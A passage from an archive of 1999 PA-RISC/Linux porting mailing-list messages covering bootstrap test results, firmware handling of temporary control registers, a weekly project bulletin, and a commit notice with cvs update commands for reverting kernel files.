> Check /arch/parisc/boot/boot_code/ipl_c.c and search for " console=ttyS0 " ...
> You would have to modify this (console=tty0)  ** OR **  start the machine with
> "boot pri isl" and modify the command-line.
> 
> Helge Deller.

-- 
Carl Johnson

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:51:55 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03798
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:51:55 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:51:55 PST
Received: from smtp02.primenet.com (daemon@smtp01.primenet.com [206.165.6.132])
	by primenet.com (8.8.8/8.8.5) with ESMTP id KAA04994
	for <pcj@smtp-local.primenet.com>; Wed, 10 Mar 1999 10:58:18 -0700 (MST)
Received: (from daemon@localhost)
	by smtp02.primenet.com (8.8.8/8.8.8) id KAA19497
	for <pcj@primenet.com>; Wed, 10 Mar 1999 10:58:16 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp02.primenet.com, id smtpd019451; Wed Mar 10 10:58:07 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id MAA06767;
	Wed, 10 Mar 1999 12:23:16 -0500
Resent-Date: Wed, 10 Mar 1999 12:23:16 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
From: "Tom Hale" <halet@trans4m.com>
To: <hppa-linux@thepuffingroup.com>
Subject: RE: [hppa-linux] Bootstrap #3 successful
Date: Wed, 10 Mar 1999 12:22:57 -0500
Message-ID: <NCBBLOLCIIJGBHPGKFOJKECMCJAA.halet@trans4m.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
In-Reply-To: <199903101711.LAA30694@equator.com>
Resent-Message-ID: <"-ulba2.0.ff1.3ggvs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/163
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 9e806808a7c1a174cb22db804bc1a580
Lines: 46
Xref: merlin.pcj.primenet.com palinux:134


Hello,
	If someone can send me directions on how to make a bootable cdrom from a
windows based cdr drive, I can test booting a 712/60 off a cd.

				Tom

-----Original Message-----
From: Jason Eckhardt [mailto:jason@equator.com]
Sent: Wednesday, March 10, 1999 12:12 PM
To: hppa-linux@thepuffingroup.com
Subject: [hppa-linux] Bootstrap #3 successful



I'm happy to report that bootstrap #3 passed for everyone who reported back
thus far, thanks for taking the time to help out. Network, disk, and even
ZIP drive boots worked. I'd like to see a CD-ROM test if someone has a
CDR drive available.

1) 780/C160       (disk)
2) 715/64         (BOOTP)
3) 816/E35        (disk)
4) 712/100        (disk)
5) 712/100        (SCSI ZIP drive!)
6) 715/33         (RBOOTD)
7) 715/80         (?disk?)

This means that we now have a simple but functional bootstrap. We are ready
to load a real kernel instead of a dummy one!

Phil Schwan is helping to solve the ftp problems and I will be uploading
the latest working boot sources. I've also added GPL license stubs to
each source file, a mildly detailed README, etc.

Regards,
Jason Eckhardt.

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frowand@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] bad news, good news, unkown (Temp CR used as permanent storage)
Date: Fri, 03 Dec 1999 12:52:12 PST
Lines: 60
Approved: news@gmane.org
Message-ID: <199912032052.MAA02894@xsvr4.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618682 28819 80.91.229.3 (22 Nov 2014 01:11:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:22 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: frowand@cup.hp.com  Fri Dec  3 14:56:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA28847
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Dec 1999 14:56:00 -0700
Original-Received: (qmail 18254 invoked by uid 15267); 3 Dec 1999 21:58:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18247 invoked from network); 3 Dec 1999 21:58:01 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 3 Dec 1999 21:58:01 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by atlrel1.hp.com (Postfix) with ESMTP id 73AEE140F7
	for <parisc-linux@thepuffingroup.com>; Fri,  3 Dec 1999 15:52:41 -0500 (EST)
Original-Received: (from frowand@localhost) by xsvr4.cup.hp.com (8.7.6/8.7.3) id MAA02894 for parisc-linux@thepuffingroup.com; Fri, 3 Dec 1999 12:52:12 -0800 (PST)
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:6554

Philipp kindly documented the Control Register usage a while ago...

> register  today           soon
> CR24      unused          what CR26 is today (I thought CR2[45] were readable
> CR25      unused          what CR25 is today  from userspace. stupid prumpf)
> CR26      used in head.S  unused
> CR27      used in head.S  unused
> CR28      temporary usage in interruption handlers [GR1  saved here]
> CR29      temporary usage in interruption handlers [arg0 (for the interruption
>                   handler, NOT GR26) saved here]
> CR30      current, 0 if in kernel mode (this might not work for syscalls yet)
> CR31      temporary usage in interruption handlers [GR29 saved here]


THE BAD NEWS

The bad news is that the PA-RISC architecture allows PDC to modify the
contents of the "Temporary" Control Registers, CR 24 - 31 (see "PA-RISC
1.1 Firmware Architecture Reference Specification: Processor Dependent
Code (PDC) Procedures" at
http://thepuffingroup.com/parisc/documentation.html, the table and
Note 5 on page 1-4).  If PDC does change the contents of these registers
then they cannot be used for permanent storage by the kernel unless the
kernel saves the registers before calling PDC and restores them after
the return from PDC.


THE GOOD NEWS

I have started the process of changing the architecture to require PDC
to preserve the state of the "Temporary" Control Registers.  So far,
there have been no objections to the change, but there is still some
time left for HP engineers to object (like if a current PDC implementation
violates the new architecture).  This means that implementations of
PDC for *future* machines should preserve the state of the Temporary
Control Registers.


THE UNKNOWN

Even if no one in HP objects to the new constraint on PDC, there is no
guarantee that existing PDC doesn't modify the Temporary Control
Registers.  No one is checking all the PDC implementations that have
ever shipped to ensure that they meet the new restriction.

However, there is a chance that existing PDC does not modify the
Temporary Control Registers, based on conversations with some
relevent engineers, and some theorizing.

(Of course, the obvious exception is that the Temporary Control
Registers are undefined when the kernel's HPMC handler is called.)

HP-UX does use some Temporary Control Registers for permanent
storage.  It saves the values of these registers before calling
PDC, and restores them when PDC returns.  I would recommend that
Linux follow this practice.


-Frank


From - Thu Nov 08 21:11:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bad news, good news, unkown (Temp CR used as permanent storage)
Date: Fri, 3 Dec 1999 17:15:17 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <199912032215.RAA01366@hiauly1.hia.nrc.ca>
References: <199912032052.MAA02894@xsvr4.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618682 28821 80.91.229.3 (22 Nov 2014 01:11:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: frowand@cup.hp.com (Frank Rowand)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Dec  3 15:17:15 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA29195
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Dec 1999 15:17:14 -0700
Original-Received: (qmail 28110 invoked by uid 15267); 3 Dec 1999 22:19:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28103 invoked from network); 3 Dec 1999 22:19:16 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 3 Dec 1999 22:19:16 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id RAA01366;
	Fri, 3 Dec 1999 17:15:18 -0500 (EST)
In-Reply-To: <199912032052.MAA02894@xsvr4.cup.hp.com> from "Frank Rowand" at Dec 3, 99 12:52:12 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6555

On the subject of things possibly getting clobbered in PDC/IODC calls,
I think the variable real_routine can get clobbered since it is used
for more than one type of call.

The good news is that I have made some improvement to the PDC/IODC
console.  I have eliminated the double lines, and when the IODC console
is configured, the system can now successfully print all stored
messages and open /dev/console.  However, in making changes to iodccon.c,
I realized that the IODC console is a really bad video console since you
can't do cursor addressing.  I think it would better to use the serial
driver.

Thoughts?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC/Linux Weekly News - December 3, 1999
Date: Fri, 03 Dec 1999 17:26:24 -0500
Organization: The Puffin Group
Lines: 98
Approved: news@gmane.org
Message-ID: <38484390.32D26BFE@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618683 28824 80.91.229.3 (22 Nov 2014 01:11:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Dec  3 15:21:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA29367
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Dec 1999 15:21:34 -0700
Original-Received: (qmail 30114 invoked by uid 15267); 3 Dec 1999 22:23:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30102 invoked from network); 3 Dec 1999 22:23:35 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (216.88.157.130)
  by mailserv2.iuinc.com with SMTP; 3 Dec 1999 22:23:35 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id RAA11676
	for <parisc-linux@thepuffingroup.com>; Fri, 3 Dec 1999 17:26:24 -0500
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6556

============================================
PA-RISC/Linux Weekly News - December 3, 1999
============================================
  http://www.thepuffingroup.com/parisc/
  vol 1, iss 3

This Week:
   News & Announcements
   This Week's CVS Activity
   State of the Port Summary


====================
News & Announcements
====================

----------------------------
The Quest for PA 2.0 Support
----------------------------
After months of valiant programming efforts from developers around the
globe, Philip Rumpf has started the implementation of a virtual memorty
management system that should work on PA2.0 processors.  This should
enable development of PA2.0 IO infrastructure from noble developers such
as Sir Grant G Grundler and The Imperial Philip Schwan.

-----------
New Puffin!
-----------
Mr. Chris Beard and Mrs. Alex deVries are pleased to announce the
hatching of a new puffling: Matthew Richard Wilcox, weighing in at 85kg.
Mother and child are doing well, in spite of the unusual size of the
newly hatched puffball.

Matthew, once weaned, will be working primarily on PA-RISC/Linux
development efforts, in the Ottawa Ontario puffin burrow (aka: Burrow
#1).

-----------------------
Bremen mini-Puffin-Fest
-----------------------
A miniature Puffin-Fest broke out at the Bremen LinuxTag, featuring such
notable hackers as Alan Cox, Matthew Wilcox, Philipp Rumpf, Martin
Petersen, and Martin Schulze.  A 715/33 was transferred to Philipp, and
some surreptitious hacking occurred behind one of the booths on the show
floor.

-------------------------
PA-RISC Hardware Database
-------------------------

The PA-RISC database is being filled up with machine descriptions.
However, more descriptions are needed.  Please go to
http://www.thepuffingroup.com/parisc/hw.html and add your machines to
the database.  There are more improvements to the database that will
be made soon.  The goal of the PA-RISC database is to catalogue the
different possible machine configurations and the hardware that they
contain.  This information will be used to determine if a specific
machine is supported with Linux and what device drivers are needed.

========================
This Week's CVS Activity
========================

Paul Bame has fixed some problems with memcpy in real mode.

Philipp Rumpf has replaced the block TLB handler with a basic TLB insert
handler.

Philipp has also rearranged some of the real mode handling.

=========================
State of the Port Summary
=========================

Kernel:
     based on 2.2.13

Supported Machines:
     most of the A180c, parts of 712 Gecko and 715 workstations

Supported Hardware:
     SCSI, Lan and PS/2 on Lasi I/O controller, Dino PCI
     Tulip ethernet

Project Page:
     http://www.thepuffingroup.com/parisc/

Latest Workable Image:
     ftp://puffin.external.hp.com/pub/parisc/linux-2.2.13.gz

Running PA-RISC/Linux HOWTO:
     http://thepuffingroup.com/parisc/recipe.html

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:11:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] a pretty big change
Date: Fri, 03 Dec 1999 17:20:10 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <199912040020.RAA29273@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618683 28828 80.91.229.3 (22 Nov 2014 01:11:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:23 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@debian.fc.hp.com  Fri Dec  3 17:18:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA30763
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Dec 1999 17:18:12 -0700
Original-Received: (qmail 6532 invoked by uid 15267); 4 Dec 1999 00:20:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6521 invoked from network); 4 Dec 1999 00:20:14 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 4 Dec 1999 00:20:14 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id RAA12329
	for <parisc-linux@thepuffingroup.com>; Fri, 3 Dec 1999 17:20:12 -0700 (MST)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id RAA01623 for <parisc-linux@thepuffingroup.com>; Fri, 3 Dec 1999 17:20:10 -0700 (MST)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id RAA29273
	for <parisc-linux@thepuffingroup.com>; Fri, 3 Dec 1999 17:20:10 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6557


I just committed the changes to embed real-mode code in a separate
executable inside vmlinux.  It should cause no functional changes
in theory.  Read all about it in arch/parisc/real/README and
ee.html.  If you have terrible new problems,
I've attached a list of CVS commands to check out the files before I
started hacking on them.  I haven't seen a shell prompt from this
set of hacks so beware...

	-Paul Bame

prumpf- I moved kernel_thread and friends from
	real/<something> to kernel/head.S  I also re-enabled BTLB in
	real/setup.c so I could get further in the boot.  Left some
	debugging printks in the handle_real_interrupt handler too.

cvs update -r1.25 arch/parisc/Makefile
	cvs update -A arch/parisc/Makefile
cvs update -r1.28 arch/parisc/kernel/Makefile
	cvs update -A arch/parisc/kernel/Makefile
cvs update -r1.35 arch/parisc/kernel/head.S
	cvs update -A arch/parisc/kernel/head.S
cvs update -r1.39 arch/parisc/kernel/irq.c
	cvs update -A arch/parisc/kernel/irq.c
cvs update -r1.14 arch/parisc/kernel/pdc.c
	cvs update -A arch/parisc/kernel/pdc.c
cvs update -r1.25 arch/parisc/kernel/pdc_cons.c
	cvs update -A arch/parisc/kernel/pdc_cons.c
cvs update -r1.73 arch/parisc/kernel/setup.c
	cvs update -A arch/parisc/kernel/setup.c
cvs update -r1.11 arch/parisc/kernel/traps.c
	cvs update -A arch/parisc/kernel/traps.c
cvs update -r1.2 arch/parisc/real/Makefile
	cvs update -A arch/parisc/real/Makefile
cvs update -r1.2 arch/parisc/real/head.S
	cvs update -A arch/parisc/real/head.S
cvs update -r1.2 arch/parisc/real/interruption.S
	cvs update -A arch/parisc/real/interruption.S
cvs update -r1.2 arch/parisc/real/lib.c
	cvs update -A arch/parisc/real/lib.c
cvs update -r1.2 arch/parisc/real/pdc.c
	cvs update -A arch/parisc/real/pdc.c
cvs update -r1.2 arch/parisc/real/real.h
	cvs update -A arch/parisc/real/real.h
cvs update -r1.2 arch/parisc/real/real_s.S
	cvs update -A arch/parisc/real/real_s.S
cvs update -r1.2 arch/parisc/real/setup.c
	cvs update -A arch/parisc/real/setup.c
cvs update -r1.1 arch/parisc/real/traps.c
	cvs update -A arch/parisc/real/traps.c
cvs update -r1.1 include/asm-parisc/real.h
	cvs update -A include/asm-parisc/real.h


From - Thu Nov 08 21:11:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a pretty big change
Date: Fri, 03 Dec 1999 18:28:23 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <199912040128.SAA29635@debian.fc.hp.com>
References: <199912040020.RAA29273@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618683 28831 80.91.229.3 (22 Nov 2014 01:11:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: bame@debian.fc.hp.com  Fri Dec  3 18:26:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA31679
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Dec 1999 18:26:27 -0700
Original-Received: (qmail 28765 invoked by uid 15267); 4 Dec 1999 01:28:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28758 invoked from network); 4 Dec 1999 01:28:26 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 4 Dec 1999 01:28:26 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id SAA16834
	for <parisc-linux@thepuffingroup.com>; Fri, 3 Dec 1999 18:28:25 -0700 (MST)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id SAA02823 for <parisc-linux@thepuffingroup.com>; Fri, 3 Dec 1999 18:28:24 -0700 (MST)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id SAA29635
	for <parisc-linux@thepuffingroup.com>; Fri, 3 Dec 1999 18:28:24 -0700
In-reply-to: Your message of "Fri, 03 Dec 1999 17:20:10 MST."
             <199912040020.RAA29273@debian.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6558


Bad failures occur (for me) with the hpux boot loader.  I have no
idea whether I introduced them, but I might have.  It looks
like the first instruction of vmlinux doesn't even get executed,
so probably something in the SOM header is telling the hpux boot loader to
do something stupid.  som_relocate may need an upgrade, but I'm
stumped about what's going wrong.

	-P


From - Thu Nov 08 21:11:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a pretty big change
Date: Fri, 3 Dec 1999 20:31:45 -0500 (EST)
Lines: 75
Approved: news@gmane.org
Message-ID: <199912040131.UAA01288@hiauly1.hia.nrc.ca>
References: <199912040020.RAA29273@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618684 28834 80.91.229.3 (22 Nov 2014 01:11:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:24 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bame@debian.fc.hp.com (Paul Bame)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Dec  3 18:31:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA31840
	for <parisc-linux@puffin.external.hp.com>; Fri, 3 Dec 1999 18:31:02 -0700
Original-Received: (qmail 30205 invoked by uid 15267); 4 Dec 1999 01:33:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30193 invoked from network); 4 Dec 1999 01:33:03 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 4 Dec 1999 01:33:03 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id UAA01288;
	Fri, 3 Dec 1999 20:31:46 -0500 (EST)
In-Reply-To: <199912040020.RAA29273@debian.fc.hp.com> from "Paul Bame" at Dec 3, 99 05:20:10 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6559

I read ee.html this evening.  Having already tracked down one problem
where the real-mode code went off into never-never land when I tried to
print out a string, I agree that separate comilation, linking and conversion
is a good idea.  The size of real-mode code is limited with our current
scheme.  Thus, we may reach the point where it is impossible to link
all real-mode code.

Regarding your example, the problem is that a function address is a PLABEL.
PLABELs are stored in the text space.  I think the problem can be avoided
if the function address is put into a structure which is stored in the
data space.

> I just committed the changes to embed real-mode code in a separate
> executable inside vmlinux.  It should cause no functional changes
> in theory.  Read all about it in arch/parisc/real/README and
> ee.html.  If you have terrible new problems,
> I've attached a list of CVS commands to check out the files before I
> started hacking on them.  I haven't seen a shell prompt from this
> set of hacks so beware...
> 
> 	-Paul Bame
> 
> prumpf- I moved kernel_thread and friends from
> 	real/<something> to kernel/head.S  I also re-enabled BTLB in
> 	real/setup.c so I could get further in the boot.  Left some
> 	debugging printks in the handle_real_interrupt handler too.
> 
> cvs update -r1.25 arch/parisc/Makefile
> 	cvs update -A arch/parisc/Makefile
> cvs update -r1.28 arch/parisc/kernel/Makefile
> 	cvs update -A arch/parisc/kernel/Makefile
> cvs update -r1.35 arch/parisc/kernel/head.S
> 	cvs update -A arch/parisc/kernel/head.S
> cvs update -r1.39 arch/parisc/kernel/irq.c
> 	cvs update -A arch/parisc/kernel/irq.c
> cvs update -r1.14 arch/parisc/kernel/pdc.c
> 	cvs update -A arch/parisc/kernel/pdc.c
> cvs update -r1.25 arch/parisc/kernel/pdc_cons.c
> 	cvs update -A arch/parisc/kernel/pdc_cons.c
> cvs update -r1.73 arch/parisc/kernel/setup.c
> 	cvs update -A arch/parisc/kernel/setup.c
> cvs update -r1.11 arch/parisc/kernel/traps.c
> 	cvs update -A arch/parisc/kernel/traps.c
> cvs update -r1.2 arch/parisc/real/Makefile
> 	cvs update -A arch/parisc/real/Makefile
> cvs update -r1.2 arch/parisc/real/head.S
> 	cvs update -A arch/parisc/real/head.S
> cvs update -r1.2 arch/parisc/real/interruption.S
> 	cvs update -A arch/parisc/real/interruption.S
> cvs update -r1.2 arch/parisc/real/lib.c
> 	cvs update -A arch/parisc/real/lib.c
> cvs update -r1.2 arch/parisc/real/pdc.c
> 	cvs update -A arch/parisc/real/pdc.c
> cvs update -r1.2 arch/parisc/real/real.h
> 	cvs update -A arch/parisc/real/real.h
> cvs update -r1.2 arch/parisc/real/real_s.S
> 	cvs update -A arch/parisc/real/real_s.S
> cvs update -r1.2 arch/parisc/real/setup.c
> 	cvs update -A arch/parisc/real/setup.c
> cvs update -r1.1 arch/parisc/real/traps.c
> 	cvs update -A arch/parisc/real/traps.c
> cvs update -r1.1 include/asm-parisc/real.h
> 	cvs update -A include/asm-parisc/real.h
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bad news, good news, unkown (Temp CR used as permanent storage)
Date: Sat, 4 Dec 1999 21:26:23 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <19991204212623.B19280@mathe.stud.uni-erlangen.de>
References: <199912032052.MAA02894@xsvr4.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618684 28835 80.91.229.3 (22 Nov 2014 01:11:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:24 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Frank Rowand <frowand@cup.hp.com>
Original-X-From: prumpf@abacus.uni-erlangen.de  Sat Dec  4 13:56:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA06327
	for <parisc-linux@puffin.external.hp.com>; Sat, 4 Dec 1999 13:56:35 -0700
Original-Received: (qmail 22423 invoked by uid 15267); 4 Dec 1999 20:58:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22416 invoked from network); 4 Dec 1999 20:58:38 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 4 Dec 1999 20:58:38 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Sat, 4 Dec 1999 21:58:36 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id VAA21542;
	Sat, 4 Dec 1999 21:27:24 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199912032052.MAA02894@xsvr4.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6560

> The bad news is that the PA-RISC architecture allows PDC to modify the
> contents of the "Temporary" Control Registers, CR 24 - 31 (see "PA-RISC
> 1.1 Firmware Architecture Reference Specification: Processor Dependent
> Code (PDC) Procedures" at
> http://thepuffingroup.com/parisc/documentation.html, the table and
> Note 5 on page 1-4).  If PDC does change the contents of these registers
> then they cannot be used for permanent storage by the kernel unless the
> kernel saves the registers before calling PDC and restores them after
> the return from PDC.

Right, we should save/restore them.

> THE GOOD NEWS
> 
> I have started the process of changing the architecture to require PDC
> to preserve the state of the "Temporary" Control Registers.  So far,
> there have been no objections to the change, but there is still some
> time left for HP engineers to object (like if a current PDC implementation
> violates the new architecture).  This means that implementations of
> PDC for *future* machines should preserve the state of the Temporary
> Control Registers.

